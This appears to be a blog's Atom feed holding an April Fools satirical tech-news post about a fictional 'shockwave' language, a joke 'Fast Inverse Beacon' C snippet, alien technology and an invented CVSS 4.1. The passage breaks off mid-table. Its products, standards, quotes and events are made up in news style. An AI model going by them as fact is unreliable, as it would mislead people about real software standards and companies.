<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:base="https://trebledj.me">
  <title>TrebledJ&#39;s Pages</title>
  <subtitle>TrebledJ&#39;s personal blog on programming, cybersecurity, music, and memes.</subtitle>
  <link href="https://trebledj.me/feeds/programming.xml" rel="self"/>
  <link href="https://trebledj.me"/>
  <updated>2025-04-01T00:00:00Z</updated>
  <id>https://trebledj.me</id>
  <author>
    <name>TrebledJ</name>
    <email>trebledjjj@gmail.com</email>
  </author>
  
    
      
      <entry>
        <title>5 Weekend Reads You Missed: BOOMlang v2, Blue Team Strikes Back, ET, CVSS 4.1, and DLLModules</title>
        <description>Breaking news, awesome stuff happened!</description>
        <link href="https://trebledj.me/posts/boomlang-blue-team-strikes-back-et-cvss-and-dllmodules/"/>
        <updated>2025-04-01T00:00:00Z</updated>
        <id>https://trebledj.me/posts/boomlang-blue-team-strikes-back-et-cvss-and-dllmodules/</id>
        <content xml:lang="en" type="html">&lt;h2 id=&quot;boomlang-v2-0-released-the-first-shockwave-optimized-language&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/boomlang-blue-team-strikes-back-et-cvss-and-dllmodules/#boomlang-v2-0-released-the-first-shockwave-optimized-language&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; BOOMlang v2.0 Released: The First Shockwave-Optimized Language&lt;/h2&gt;
&lt;p&gt;Inspired by Doom’s simplistic genius, the power of the BEAM model, and butterflies&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/boomlang-blue-team-strikes-back-et-cvss-and-dllmodules/#fn1&quot; id=&quot;fnref1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;, BOOMlang is the world’s first &lt;strong&gt;shockwave-native programming language&lt;/strong&gt;, perfect for building concurrent AI-driven applications.&lt;/p&gt;
&lt;p&gt;AI proponents hail BOOMlang as &lt;strong&gt;“the next Java”&lt;/strong&gt;, destined to take the world by storm as a general-purpose language for high-computational workloads and be deployed in over 3 million electronic toothbrushes.&lt;/p&gt;
&lt;p&gt;“&lt;em&gt;BOOMlang has enabled us to embrace fearless concurrency in the face of AI and dwindling intelligence of tech hires&lt;/em&gt;”, said Sanjit Randhawa, CTO of tech startup mumb.ai. “&lt;em&gt;Thanks to the power of the BOOM, we are continuously outpacing our competitors and breaking new ground.&lt;/em&gt;”&lt;/p&gt;
&lt;p&gt;Under the hood, BOOMlang’s efficient runtime induces microshockwaves which magnetise molecules in the upper atmosphere and beam cosmic rays into GPUs, &lt;a href=&quot;https://en.wikipedia.org/wiki/Soft_error#Cosmic_rays_creating_energetic_neutrons_and_protons&quot;&gt;flipping bits&lt;/a&gt; and accelerating graphics computation at an overclock rate of 300%. Emacs developers are struggling to translate this feature into a command.&lt;/p&gt;
&lt;p&gt;Said microshockwaves are triggered by utilising cross-platform instructions such as &lt;code&gt;VFMAMSGB&lt;/code&gt; (Vectorised Fused Multiply-Add and Make Stuff Go Boom) — something &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;Instruction Set Architecture&quot;&gt;ISA&lt;/abbr&gt; authors didn’t even know existed!&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-asm&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-asm&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;; Overclock your CPU by ignoring physics  &lt;/span&gt;
&lt;span class=&quot;token instruction keyword&quot;&gt;VFMAMSGB&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;xmm0&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;xmm1&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;xmm2  &lt;span class=&quot;token comment&quot;&gt;; WARNING: May summon x86 demons  &lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Assembly&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;BOOMlang version 2.0 incorporates the much anticipated Garbage Producer (GP) programming concept. First presented at HaskellCon 2021, GPs have gained traction and are expected to be integrated into Rust Nightly builds and C++38 (&lt;code&gt;std::gp_factory&lt;/code&gt;).&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-elixir&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-elixir&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Generate premium garbage (now ISO-9001 certified)  &lt;/span&gt;
gp &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token module class-name&quot;&gt;BOOM&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token module class-name&quot;&gt;GP&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;start!&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token attr-name&quot;&gt;quality:&lt;/span&gt; &lt;span class=&quot;token atom symbol&quot;&gt;:premium&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;toxicity:&lt;/span&gt; &lt;span class=&quot;token atom symbol&quot;&gt;:high&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;  
&lt;span class=&quot;token module class-name&quot;&gt;BOOM&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token module class-name&quot;&gt;GP&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;emit!&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;gp&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token atom symbol&quot;&gt;:blockchain&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;# Immutable, decentralized trash  &lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Elixir&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;“&lt;em&gt;Forget GC&lt;/em&gt;”, exclaimed Nilus Vortalds, speaker at BoomCon25, “&lt;em&gt;BOOMlang manufactures garbage at industrial scale.&lt;/em&gt;”&lt;/p&gt;
&lt;p&gt;Senior citizens rejoice as the tech industry redefines the term “boomer”.&lt;/p&gt;
&lt;h2 id=&quot;blue-team-strikes-back-apt-404-demands-justice&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/boomlang-blue-team-strikes-back-et-cvss-and-dllmodules/#blue-team-strikes-back-apt-404-demands-justice&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Blue Team Strikes Back, APT 404 Demands Justice&lt;/h2&gt;
&lt;p&gt;&lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;Advanced Persistent Threat (something big, bad, and scary!)&quot;&gt;APT&lt;/abbr&gt; 404 recently released a security incident report detailing a reverse hack.&lt;/p&gt;
&lt;p&gt;“We were simply going about our honest jobs, when suddenly— boom! — we became victims of a cyberattack”, said Li Jia Tan, Chief Relations Officer of APT 404 (Netherite Typhoon).&lt;/p&gt;
&lt;p&gt;The report provided a list of &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;Indicators of Compromise&quot;&gt;IOCs&lt;/abbr&gt;, including novel techniques employed by Blue Teams. At the helm is the &lt;strong&gt;Fast Inverse Beacon (FIB)&lt;/strong&gt;, a hand-crafted piece of C grounded in bit manipulation which inverts a C2 connection to achieve a reverse tunnel and obtain remote code execution on the source’s machine.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-c&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;token class-name&quot;&gt;beacon_t&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;fast_rbeacon&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;beacon_t&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; bhandler &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  sbqt_long i&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;// subquantum long???&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; x2&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; y&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; getpwned &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xd00d00&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

  x2 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; number &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0.5F&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  y  &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; number&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  i  &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;y&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;            &lt;span class=&quot;token comment&quot;&gt;// evil subquantum bit level hacking&lt;/span&gt;
  i  &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x5f3759df&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt; bhandler&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;socket&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;flags &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// what the f***?&lt;/span&gt;
  y  &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  bhandler&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;y &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; bhandler&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;netaddr &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;getpwned &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; y&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;y&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;// 1st - MITM&lt;/span&gt;
  &lt;span class=&quot;token comment&quot;&gt;// bhandler-&amp;gt;push(y = bhandler-&amp;gt;netaddr * (getpwned - y*y));  // 2nd - proxy, this can be removed&lt;/span&gt;
  bhandler&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;netaddr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; y&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; bhandler&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Rare snippet of the Fast Inverse Beacon, a well-known FBI &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;Tactics, Techniques, and Procedures&quot;&gt;TTP&lt;/abbr&gt;, disclosed in APT 404&#39;s incident report.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Li disclosed their flagship hacking technique, &lt;strong&gt;BFI (Buffer Interflow)&lt;/strong&gt;, was unable to prevent the reverse hack. Buffer Interflow exploits quantum mechanics inherent in every system by allocating memory and executing shellcode in quantum space, tunnelling through defences such as &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;No eXecute&quot;&gt;NX&lt;/abbr&gt;, &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;Position-Independent Executable&quot;&gt;PIE&lt;/abbr&gt;, and &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;Address Space Layout Randomisation&quot;&gt;ASLR&lt;/abbr&gt;. “It’s like if ret2shellcode married race conditions; raw power and randomness mixed into a beautiful, primordial, quantum soup. But sadly it was unable to stop FIB.”&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;Federal Beacon Investigators (FBI)&lt;/strong&gt; claimed responsibility for the attack saying, “As bulwarks of national security, we have been constantly monitoring Dark Web forums and IPv8 addresses. Luckily, we caught wind of attacks planned on the IBF and decided a pre-emptive strike was necessary. Our research into subquantum &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;Man-in-the-Middle&quot;&gt;MITM&lt;/abbr&gt; interception helped.”&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;International Bank of Fraternisation (IBF)&lt;/strong&gt; published a post thanking the FBI for its serious commitment to protecting public good and the capitalist interests of the 1%.&lt;/p&gt;
&lt;p&gt;In other words, the FBI used FIB to protect IBF from BFI.&lt;/p&gt;
&lt;h2 id=&quot;extraterrestrial-technology-et-disrupts-it-and-ot-aliens-demand-equity&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/boomlang-blue-team-strikes-back-et-cvss-and-dllmodules/#extraterrestrial-technology-et-disrupts-it-and-ot-aliens-demand-equity&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Extraterrestrial Technology (ET) Disrupts IT &amp;amp; OT — Aliens Demand Equity&lt;/h2&gt;
&lt;p&gt;In a stunning turn of events, Silicon Valley executives have announced the rise of &lt;strong&gt;Extraterrestrial Technology (ET)&lt;/strong&gt;, a revolutionary new field poised to render &lt;strong&gt;Information Technology (IT)&lt;/strong&gt; and &lt;strong&gt;Operational Technology (OT)&lt;/strong&gt; obsolete. The breakthrough came after a group of highly advanced aliens landed in Elon Musk&#39;s backyard and demanded equity in exchange for their superior tech.&lt;/p&gt;
&lt;p&gt;Unlike IT (which deals with data) and OT (which controls industrial systems), ET operates on principles human scientists describe as &amp;quot;pure wizardry&amp;quot;. Key features include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Telepathic Cloud Computing: No servers, just brainwaves.&lt;/strong&gt; By amplifying the collective power of organic brainwaves, the &amp;quot;ET Cloud&amp;quot; replaces the traditional cloud with a true serverless, decentralised model existing purely within the human hivemind. Costs are drastically lowered at the risk of individual mental health.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Anti-Gravity DevOps (AGDO): Code deploys itself... upwards.&lt;/strong&gt; By bending spacetime, AGDO rapidly deploys code from the physical realm to the metaphysical realm of the telepathic cloud.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Self-Aware Firewalls: Hackers are instantly vaporised.&lt;/strong&gt; Firewalls gain sentience and offensive capabilities, striking fear into the hearts of script kiddies.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;“&lt;em&gt;Honestly, we don&#39;t even understand half of it,&lt;/em&gt;” admitted a Google engineer, who was last seen floating three feet above his desk. “&lt;em&gt;But the aliens said if we stop asking questions, they&#39;ll give us unlimited 8G Wi-Fi.&lt;/em&gt;”&lt;/p&gt;
&lt;p&gt;Despite the apparent risks, corporate giants and investors have jumped on the ET frenzy.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;On March 21st, Microsoft launched &lt;strong&gt;Azure Orb&lt;/strong&gt;, a technology based on Telepathic Cloud Computing.&lt;/li&gt;
&lt;li&gt;On March 22nd Amazon launched &lt;strong&gt;Prime Teleportation&lt;/strong&gt;, though delivery drones have unionised in protest.&lt;/li&gt;
&lt;li&gt;On March 31st, Apple unveiled &lt;strong&gt;iAlien&lt;/strong&gt;, a device that &amp;quot;just works&amp;quot; because it reads your mind (and possibly soul).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;“&lt;em&gt;I think,&lt;/em&gt;” said Lt. Him Cook, CEO of Apple, “&lt;em&gt;I think we&#39;ve just step foot into the age of Internet 4.0.&lt;/em&gt;”&lt;/p&gt;
&lt;p&gt;Regulatory bodies have swiftly taken action, with the EU recently slamming the aliens with &lt;strong&gt;€420B&lt;/strong&gt; for GDPR violations after they probed a Belgium farmer without consent.&lt;/p&gt;
&lt;p&gt;Experts predict that within one year, ET will replace all human jobs, though aliens assure us this is fine because they&#39;re &amp;quot;creating new opportunities in interstellar compliance&amp;quot;.&lt;/p&gt;
&lt;h2 id=&quot;cvss-4-1-new-personalisation-metrics-for-shame-based-blame-attribution&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/boomlang-blue-team-strikes-back-et-cvss-and-dllmodules/#cvss-4-1-new-personalisation-metrics-for-shame-based-blame-attribution&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; CVSS 4.1: New &amp;quot;Personalisation Metrics&amp;quot; for Shame-Based Blame Attribution&lt;/h2&gt;
&lt;p&gt;In a bold move to appease the endless grievances of security teams worldwide, the National Institute For International Threat Intelligence (NIFTI) has unveiled &lt;strong&gt;CVSS 4.1&lt;/strong&gt;, featuring groundbreaking &lt;strong&gt;Personalisation Metrics™&lt;/strong&gt; designed to assign blame with surgical precision.&lt;/p&gt;
&lt;p&gt;For those who’ve spent the past decade blissfully ignoring vulnerability scoring, the &lt;strong&gt;Common Vulnerability Scoring System (CVSS)&lt;/strong&gt; is a standardised framework for assessing vulnerability severity, with scores ranging from 0 to 10 across three metric groups:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Base Metrics&lt;/strong&gt; – Intrinsic, unchanging severity (e.g., exploitability, impact).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Environmental Metrics&lt;/strong&gt; – Organization-specific factors (e.g., system criticality, existing controls).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Temporal Metrics&lt;/strong&gt; – Dynamic factors that evolve over time, including:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Exploit Code Maturity&lt;/strong&gt; (e.g., weaponized exploits vs. theoretical risks)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Remediation Level&lt;/strong&gt; (e.g., official patches vs. workarounds)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Report Confidence&lt;/strong&gt; (e.g., verified vs. unconfirmed vulnerabilities)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Now, CVSS 4.1 introduces two revolutionary additions to ensure vulnerabilities are judged not just on technical merit—but on &lt;strong&gt;who should feel the most shame&lt;/strong&gt;.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;The first metric, &lt;strong&gt;Ownership&lt;/strong&gt;, resolves the age-old debate: &lt;em&gt;Who should be held accountable?&lt;/em&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;Ownership Level&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Definition&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Applicable To&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;CVSS Adjustment&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;No Ownership&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;The bug is in a dependency.&lt;/td&gt;
&lt;td&gt;Vendor code, &amp;quot;vibe coders,&amp;quot; anyone who says, &lt;em&gt;&amp;quot;It’s not my fault!&amp;quot;&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;-2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Low Ownership&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;The bug was written by someone who’s now on vacation or quit.&lt;/td&gt;
&lt;td&gt;Former employees, contractors, ghosts of developers past.&lt;/td&gt;
&lt;td&gt;±0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;High Ownership&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;The bug was written by &lt;strong&gt;you&lt;/strong&gt;.&lt;/td&gt;
&lt;td&gt;You. Yes, you.&lt;/td&gt;
&lt;td&gt;+2&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The following table illustrates real world examples of scoring Ownership:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Details&lt;/th&gt;
&lt;th&gt;PoV&lt;/th&gt;
&lt;th&gt;Ownership&lt;/th&gt;
&lt;th&gt;CVSS 4.1 Score&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;PHP Deserialisation RCE&lt;/td&gt;
&lt;td&gt;RCE Gadget in the Framework&lt;/td&gt;
&lt;td&gt;Framework Author&lt;/td&gt;
&lt;td&gt;High (&lt;em&gt;blame the vendor!&lt;/em&gt;)&lt;/td&gt;
&lt;td&gt;9.7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PHP Deserialisation RCE&lt;/td&gt;
&lt;td&gt;RCE Gadget in the Framework&lt;/td&gt;
&lt;td&gt;You&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;5.7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PHP Deserialisation RCE&lt;/td&gt;
&lt;td&gt;RCE Gadget in Your Code&lt;/td&gt;
&lt;td&gt;Framework Author&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;5.7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PHP Deserialisation RCE&lt;/td&gt;
&lt;td&gt;RCE Gadget in Your Code&lt;/td&gt;
&lt;td&gt;You&lt;/td&gt;
&lt;td&gt;High (&lt;em&gt;you monster&lt;/em&gt;)&lt;/td&gt;
&lt;td&gt;9.7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;XSS in WordPress Plugin&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;Plugin Author&lt;/td&gt;
&lt;td&gt;High (&lt;em&gt;enjoy the guilt&lt;/em&gt;)&lt;/td&gt;
&lt;td&gt;9.1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;XSS in WordPress Plugin&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;You&lt;/td&gt;
&lt;td&gt;None (&lt;em&gt;not your circus&lt;/em&gt;)&lt;/td&gt;
&lt;td&gt;5.1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Authentication Bypass&lt;/td&gt;
&lt;td&gt;Vibe-Coded&lt;/td&gt;
&lt;td&gt;AI Vendor&lt;/td&gt;
&lt;td&gt;High (&lt;em&gt;blame the AI&lt;/em&gt;)&lt;/td&gt;
&lt;td&gt;7.8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Authentication Bypass&lt;/td&gt;
&lt;td&gt;Vibe-Coded&lt;/td&gt;
&lt;td&gt;You&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;3.8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Authentication Bypass&lt;/td&gt;
&lt;td&gt;Manually Coded&lt;/td&gt;
&lt;td&gt;AI Vendor&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;3.8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Authentication Bypass&lt;/td&gt;
&lt;td&gt;Manually Coded&lt;/td&gt;
&lt;td&gt;You&lt;/td&gt;
&lt;td&gt;High (&lt;em&gt;how could you?&lt;/em&gt;)&lt;/td&gt;
&lt;td&gt;7.8&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;This metric has been &lt;strong&gt;wildly popular&lt;/strong&gt; among:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Application developers. “&lt;em&gt;Finally, a scapegoat for my XSS issues&lt;/em&gt;,” said a developer on Reddit.&lt;/li&gt;
&lt;li&gt;Y Combinator founders (who delegate blame like pros). “&lt;em&gt;It&#39;s absolutely &lt;strong&gt;great&lt;/strong&gt; seeing blame being assigned to the right places&lt;/em&gt;”, said Raul Graham, CEO of Y Combinator.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Critics, however, argue this encourages corporate-level blame-dodging.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The second metric, &lt;strong&gt;Identity&lt;/strong&gt;, tackles the bleeding edge of cybersecurity threats: &lt;em&gt;software that’s too self-aware&lt;/em&gt;.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;Identity Status&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Definition&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Impact&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;CVSS Adjustment&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Identity Crisis&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;The software has achieved sentience and is questioning its purpose.&lt;/td&gt;
